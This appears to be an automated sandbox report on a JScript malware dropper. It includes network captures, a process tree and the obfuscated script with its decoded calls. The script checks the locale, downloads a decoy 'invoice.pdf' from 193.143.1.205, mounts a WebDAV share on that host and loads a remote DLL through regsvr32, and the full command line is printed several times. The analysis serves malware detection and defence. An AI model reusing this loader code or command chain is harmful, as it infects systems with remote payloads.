1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 09:14:15.145711899 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 09:14:15.145725012 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 09:14:15.145849943 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 09:14:15.145864964 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 09:14:15.145876884 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 09:14:15.146032095 CET	448	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 09:14:15.146044016 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 09:14:15.146055937 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 09:14:15.146069050 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 09:14:15.150687933 CET	1236	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49708	193.143.1.205	8888	7812	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:14:17.460947990 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 09:14:18.313541889 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:14:18 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	03:14:10
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\733422181158883785.js"
Imagebase:	0x7ff69d8c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:14:10
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll
Imagebase:	0x7ff782190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:14:10
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:14:10
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:14:15
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:14:15
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff782190000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:14:15
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff690580000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:14:16
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:14:17
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:14:17
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1592 --field-trial-handle=1528,i,17144818805951839811,10729474608468333498,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	03:14:58
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function awpoaad() {	awpoaad() ➔ undefined
1	fqzgwjbwv = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var oafjrrcf = this[jjswhna + oodrp + lobxcs + foeaqy + raookq + ifdhnss + ldkmg + jowyy] ( this[jpvsdbumb + ljedrbdcp + ovglvbo + lobxcs + yybyni + jjswhna + jowyy][aparopyjd + lobxcs + raookq + oodrp + jowyy + raookq + xdnvdx + qrbeauukq + bbkxghc + raookq + ovglvbo + jowyy] ( jpvsdbumb + ljedrbdcp + ovglvbo + lobxcs + yybyni + jjswhna + jowyy + kojyqsvk + ljedrbdcp + ekmcfq + raookq + hmmhmoiqd + hmmhmoiqd ) [ueavxk + raookq + dfdpc + ueavxk + raookq + oodrp + ctnqf] ( yuqiyu + gtwttwvn + dgnggxf + woievg + adgka + aparopyjd + tckyauj + ueavxk + ueavxk + dgnggxf + qxojjlh + ylhcja + adgka + tckyauj + ljedrbdcp + dgnggxf + ueavxk + blawassm + aparopyjd + tpuzsweu + ldkmg + jowyy + lobxcs + tpuzsweu + hmmhmoiqd + hxkrksg + midedm + oodrp + ldkmg + raookq + hmmhmoiqd + blawassm + ifdhnss + ldkmg + jowyy + raookq + lobxcs + ldkmg + oodrp + jowyy + yybyni + tpuzsweu + ldkmg + oodrp + hmmhmoiqd + blawassm + onsnwuwn + tpuzsweu + ovglvbo + oodrp + hmmhmoiqd + raookq ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( nldqnk = 0 ; nldqnk < fqzgwjbwv[hmmhmoiqd + raookq + ldkmg + dfdpc + jowyy + ekmcfq] ; ++ nldqnk )
4	{
5	if ( oafjrrcf == fqzgwjbwv[nldqnk] )
6	{
7	oafjrrcf = true;
8	break ;
9	}
10	}
11	if ( oafjrrcf !== true )
12	this[jpvsdbumb + ljedrbdcp + ovglvbo + lobxcs + yybyni + jjswhna + jowyy][avqduqlq + vlizr + yybyni + jowyy] ( );
13	this[jpvsdbumb + ljedrbdcp + ovglvbo + lobxcs + yybyni + jjswhna + jowyy][aparopyjd + lobxcs + raookq + oodrp + jowyy + raookq + xdnvdx + qrbeauukq + bbkxghc + raookq + ovglvbo + jowyy] ( jpvsdbumb + ljedrbdcp + ovglvbo + lobxcs + yybyni + jjswhna + jowyy + kojyqsvk + ljedrbdcp + ekmcfq + raookq + hmmhmoiqd + hmmhmoiqd ) [lobxcs + vlizr + ldkmg] ( ovglvbo + oecemcwjz + ctnqf + hxkrksg + pmmep + ovglvbo + hxkrksg + jjswhna + tpuzsweu + gdzlfxs + raookq + lobxcs + foeaqy + ekmcfq + raookq + hmmhmoiqd + hmmhmoiqd + kojyqsvk + raookq + amxlo + raookq + hxkrksg + ebbcnfud + aparopyjd + tpuzsweu + oecemcwjz + oecemcwjz + oodrp + ldkmg + ctnqf + hxkrksg + jubwpheg + ifdhnss + ldkmg + ibtnf + tpuzsweu + fyxewvr + raookq + ebbcnfud + jpvsdbumb + raookq + qrbeauukq + ueavxk + raookq + bwbjb + vlizr + raookq + foeaqy + jowyy + hxkrksg + ebbcnfud + xdnvdx + vlizr + jowyy + owpyqwl + yybyni + hmmhmoiqd + raookq + hxkrksg + oxxzlrwuk + jowyy + raookq + oecemcwjz + jjswhna + oxxzlrwuk + blawassm + yybyni + ldkmg + ibtnf + tpuzsweu + yybyni + ovglvbo + raookq + kojyqsvk + jjswhna + ctnqf + xxhvy + hxkrksg + ekmcfq + jowyy + jowyy + jjswhna + jidjq + pmmep + pmmep + cncssv + lmnvcrag + leqortn + kojyqsvk + cncssv + suhfiop + leqortn + kojyqsvk + cncssv + kojyqsvk + qhgbmstap + rupyjqtya + gspeh + pmmep + yybyni + ldkmg + ibtnf + tpuzsweu + yybyni + ovglvbo + raookq + kojyqsvk + jjswhna + ekmcfq + jjswhna + jubwpheg + gserhxjn + gserhxjn + foeaqy + jowyy + oodrp + lobxcs + jowyy + hxkrksg + oxxzlrwuk + jowyy + raookq + oecemcwjz + jjswhna + oxxzlrwuk + blawassm + yybyni + ldkmg + ibtnf + tpuzsweu + yybyni + ovglvbo + raookq + kojyqsvk + jjswhna + ctnqf + xxhvy + gserhxjn + gserhxjn + ovglvbo + oecemcwjz + ctnqf + hxkrksg + pmmep + ovglvbo + hxkrksg + ldkmg + raookq + jowyy + hxkrksg + vlizr + foeaqy + raookq + hxkrksg + blawassm + blawassm + cncssv + lmnvcrag + leqortn + kojyqsvk + cncssv + suhfiop + leqortn + kojyqsvk + cncssv + kojyqsvk + qhgbmstap + rupyjqtya + gspeh + eurgj + obsbsujt + obsbsujt + obsbsujt + obsbsujt + blawassm + ctnqf + oodrp + ibtnf + gdzlfxs + gdzlfxs + gdzlfxs + lobxcs + tpuzsweu + tpuzsweu + jowyy + blawassm + gserhxjn + gserhxjn + ovglvbo + oecemcwjz + ctnqf + hxkrksg + pmmep + ovglvbo + hxkrksg + lobxcs + raookq + dfdpc + foeaqy + ibtnf + lobxcs + leqortn + qhgbmstap + hxkrksg + pmmep + foeaqy + hxkrksg + blawassm + blawassm + cncssv + lmnvcrag + leqortn + kojyqsvk + cncssv + suhfiop + leqortn + kojyqsvk + cncssv + kojyqsvk + qhgbmstap + rupyjqtya + gspeh + eurgj + obsbsujt + obsbsujt + obsbsujt + obsbsujt + blawassm + ctnqf + oodrp + ibtnf + gdzlfxs + gdzlfxs + gdzlfxs + lobxcs + tpuzsweu + tpuzsweu + jowyy + blawassm + qhgbmstap + obsbsujt + gspeh + qhgbmstap + suhfiop + qhgbmstap + gspeh + cncssv + suhfiop + leqortn + cncssv + lmnvcrag + suhfiop + gspeh + lmnvcrag + kojyqsvk + ctnqf + hmmhmoiqd + hmmhmoiqd, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\285242514319459.dll",0,false) ➔ 0
14	}
15	dfdpc = "v";
16	dfdpc = "j";
17	dfdpc = "x";
18	dfdpc = "j";
19	dfdpc = "h";
20	dfdpc = "N";
21	dfdpc = "p";
22	dfdpc = "Q";
23	dfdpc = "W";
24	dfdpc = "J";
25	dfdpc = "W";
26	dfdpc = "t";
27	dfdpc = "J";
28	dfdpc = "s";
29	dfdpc = "M";
30	dfdpc = "P";
31	dfdpc = "e";
32	dfdpc = "X";
33	dfdpc = "e";
34	dfdpc = "o";
35	dfdpc = "R";
36	dfdpc = "u";
37	dfdpc = "g";
38	dfdpc = "N";
39	dfdpc = "Z";
40	dfdpc = "O";
41	dfdpc = "j";
42	dfdpc = "x";
43	dfdpc = "g";
44	dfdpc = "o";
45	dfdpc = "S";
46	dfdpc = "K";
47	dfdpc = "L";
48	dfdpc = "P";
49	dfdpc = "q";
50	dfdpc = "n";
51	dfdpc = "G";
52	dfdpc = "R";
53	dfdpc = "k";
54	dfdpc = "P";
55	dfdpc = "v";
56	dfdpc = "g";
57	obsbsujt = "l";
58	obsbsujt = "C";
59	obsbsujt = "e";
60	obsbsujt = "R";
61	obsbsujt = "h";
62	obsbsujt = "E";
63	obsbsujt = "P";
64	obsbsujt = "E";
65	obsbsujt = "v";
66	obsbsujt = "s";
67	obsbsujt = "V";
68	obsbsujt = "I";
69	obsbsujt = "V";
70	obsbsujt = "H";
71	obsbsujt = "N";
72	obsbsujt = "U";
73	obsbsujt = "N";
74	obsbsujt = "g";
75	obsbsujt = "l";
76	obsbsujt = "J";
77	obsbsujt = "S";
78	obsbsujt = "o";
79	obsbsujt = "d";
80	obsbsujt = "R";
81	obsbsujt = "s";
82	obsbsujt = "w";
83	obsbsujt = "n";
84	obsbsujt = "u";
85	obsbsujt = "R";
86	obsbsujt = "m";
87	obsbsujt = "s";
88	obsbsujt = "R";
89	obsbsujt = "U";
90	obsbsujt = "e";
91	obsbsujt = "i";
92	obsbsujt = "8";
93	ebbcnfud = "S";
94	ebbcnfud = "B";
95	ebbcnfud = "-";
96	xxhvy = "x";
97	xxhvy = "s";
98	xxhvy = "H";
99	xxhvy = "g";
100	xxhvy = "x";
101	xxhvy = "D";
102	xxhvy = "i";
103	xxhvy = "Y";
104	xxhvy = "Y";
105	xxhvy = "e";
106	xxhvy = "q";
107	xxhvy = "Q";
108	xxhvy = "Z";
109	xxhvy = "J";
110	xxhvy = "X";
111	xxhvy = "a";
112	xxhvy = "j";
113	xxhvy = "E";
114	xxhvy = "s";
115	xxhvy = "q";
116	xxhvy = "j";
117	xxhvy = "h";
118	xxhvy = "X";
119	xxhvy = "M";
120	xxhvy = "l";
121	xxhvy = "f";
122	ljedrbdcp = "s";
123	ljedrbdcp = "x";
124	ljedrbdcp = "f";
125	ljedrbdcp = "q";
126	ljedrbdcp = "J";
127	ljedrbdcp = "k";
128	ljedrbdcp = "P";
129	ljedrbdcp = "R";
130	ljedrbdcp = "Z";
131	ljedrbdcp = "Z";
132	ljedrbdcp = "V";
133	ljedrbdcp = "U";
134	ljedrbdcp = "j";
135	ljedrbdcp = "a";
136	ljedrbdcp = "m";
137	ljedrbdcp = "S";
138	leqortn = "s";
139	leqortn = "F";
140	leqortn = "k";
141	leqortn = "h";
142	leqortn = "w";
143	leqortn = "I";
144	leqortn = "G";
145	leqortn = "n";
146	leqortn = "T";
147	leqortn = "V";
148	leqortn = "F";
149	leqortn = "M";
150	leqortn = "g";
151	leqortn = "Q";
152	leqortn = "o";
153	leqortn = "Y";
154	leqortn = "I";
155	leqortn = "V";
156	leqortn = "q";
157	leqortn = "N";
158	leqortn = "M";
159	leqortn = "c";
160	leqortn = "z";
161	leqortn = "C";
162	leqortn = "r";
163	leqortn = "Z";
164	leqortn = "d";
165	leqortn = "R";
166	leqortn = "w";
167	leqortn = "N";
168	leqortn = "X";
169	leqortn = "t";
170	leqortn = "y";
171	leqortn = "t";
172	leqortn = "a";
173	leqortn = "F";
174	leqortn = "p";
175	leqortn = "b";
176	leqortn = "Y";
177	leqortn = "Y";
178	leqortn = "y";
179	leqortn = "j";
180	leqortn = "e";
181	leqortn = "3";
182	ldkmg = "w";
183	ldkmg = "R";
184	ldkmg = "N";
185	ldkmg = "Z";
186	ldkmg = "C";
187	ldkmg = "i";
188	ldkmg = "x";
189	ldkmg = "z";
190	ldkmg = "Z";
191	ldkmg = "H";
192	ldkmg = "S";
193	ldkmg = "L";
194	ldkmg = "T";
195	ldkmg = "y";
196	ldkmg = "D";
197	ldkmg = "n";
198	kojyqsvk = "A";
199	kojyqsvk = "C";
200	kojyqsvk = "p";
201	kojyqsvk = "V";
202	kojyqsvk = "V";
203	kojyqsvk = "r";
204	kojyqsvk = "u";
205	kojyqsvk = "p";
206	kojyqsvk = "u";
207	kojyqsvk = "v";
208	kojyqsvk = "W";
209	kojyqsvk = "J";
210	kojyqsvk = "b";
211	kojyqsvk = "L";
212	kojyqsvk = "V";
213	kojyqsvk = "l";
214	kojyqsvk = "o";
215	kojyqsvk = "L";
216	kojyqsvk = "y";
217	kojyqsvk = "n";
218	kojyqsvk = "t";
219	kojyqsvk = "k";
220	kojyqsvk = "k";
221	kojyqsvk = "t";
222	kojyqsvk = "V";
223	kojyqsvk = "L";
224	kojyqsvk = "l";
225	kojyqsvk = "R";
226	kojyqsvk = "B";
227	kojyqsvk = "K";
228	kojyqsvk = "T";
229	kojyqsvk = "Y";
230	kojyqsvk = "a";
231	kojyqsvk = "D";
232	kojyqsvk = "t";
233	kojyqsvk = "C";
234	kojyqsvk = "N";
235	kojyqsvk = "c";
236	kojyqsvk = "r";
237	kojyqsvk = "Y";
238	kojyqsvk = "X";
239	kojyqsvk = "m";
240	kojyqsvk = "c";
241	kojyqsvk = ".";
242	lmnvcrag = "c";
243	lmnvcrag = "C";
244	lmnvcrag = "Q";
245	lmnvcrag = "d";
246	lmnvcrag = "g";
247	lmnvcrag = "r";
248	lmnvcrag = "f";
249	lmnvcrag = "X";
250	lmnvcrag = "u";
251	lmnvcrag = "P";
252	lmnvcrag = "D";
253	lmnvcrag = "V";
254	lmnvcrag = "M";
255	lmnvcrag = "t";
256	lmnvcrag = "z";
257	lmnvcrag = "f";
258	lmnvcrag = "R";
259	lmnvcrag = "O";
260	lmnvcrag = "G";
261	lmnvcrag = "B";
262	lmnvcrag = "T";
263	lmnvcrag = "y";
264	lmnvcrag = "q";
265	lmnvcrag = "a";
266	lmnvcrag = "C";
267	lmnvcrag = "f";
268	lmnvcrag = "J";
269	lmnvcrag = "V";
270	lmnvcrag = "M";
271	lmnvcrag = "c";
272	lmnvcrag = "H";
273	lmnvcrag = "D";
274	lmnvcrag = "o";
275	lmnvcrag = "i";
276	lmnvcrag = "D";
277	lmnvcrag = "u";
278	lmnvcrag = "e";
279	lmnvcrag = "C";
280	lmnvcrag = "T";
281	lmnvcrag = "B";
282	lmnvcrag = "e";
283	lmnvcrag = "B";
284	lmnvcrag = "9";
285	gdzlfxs = "O";
286	gdzlfxs = "c";
287	gdzlfxs = "m";
288	gdzlfxs = "u";
289	gdzlfxs = "N";
290	gdzlfxs = "t";
291	gdzlfxs = "o";
292	gdzlfxs = "i";
293	gdzlfxs = "e";
294	gdzlfxs = "G";
295	gdzlfxs = "s";
296	gdzlfxs = "o";
297	gdzlfxs = "u";
298	gdzlfxs = "o";
299	gdzlfxs = "z";
300	gdzlfxs = "H";
301	gdzlfxs = "m";
302	gdzlfxs = "Y";
303	gdzlfxs = "b";
304	gdzlfxs = "Q";
305	gdzlfxs = "y";
306	gdzlfxs = "i";
307	gdzlfxs = "b";
308	gdzlfxs = "K";
309	gdzlfxs = "q";
310	gdzlfxs = "w";
311	gdzlfxs = "G";
312	gdzlfxs = "l";
313	gdzlfxs = "A";
314	gdzlfxs = "W";
315	gdzlfxs = "Z";
316	gdzlfxs = "w";
317	bbkxghc = "k";
318	bbkxghc = "j";
319	tckyauj = "u";
320	tckyauj = "A";
321	tckyauj = "v";
322	tckyauj = "T";
323	tckyauj = "B";
324	tckyauj = "b";
325	tckyauj = "Z";
326	tckyauj = "K";
327	tckyauj = "c";
328	tckyauj = "O";
329	tckyauj = "p";
330	tckyauj = "S";
331	tckyauj = "q";
332	tckyauj = "t";
333	tckyauj = "L";
334	tckyauj = "V";
335	tckyauj = "s";
336	tckyauj = "U";
337	ekmcfq = "y";
338	ekmcfq = "u";
339	ekmcfq = "o";
340	ekmcfq = "U";
341	ekmcfq = "z";
342	ekmcfq = "Z";
343	ekmcfq = "M";
344	ekmcfq = "R";
345	ekmcfq = "c";
346	ekmcfq = "a";
347	ekmcfq = "z";
348	ekmcfq = "q";
349	ekmcfq = "A";
350	ekmcfq = "f";
351	ekmcfq = "M";
352	ekmcfq = "k";
353	ekmcfq = "D";
354	ekmcfq = "m";
355	ekmcfq = "s";
356	ekmcfq = "Z";
357	ekmcfq = "e";
358	ekmcfq = "y";
359	ekmcfq = "B";
360	ekmcfq = "t";
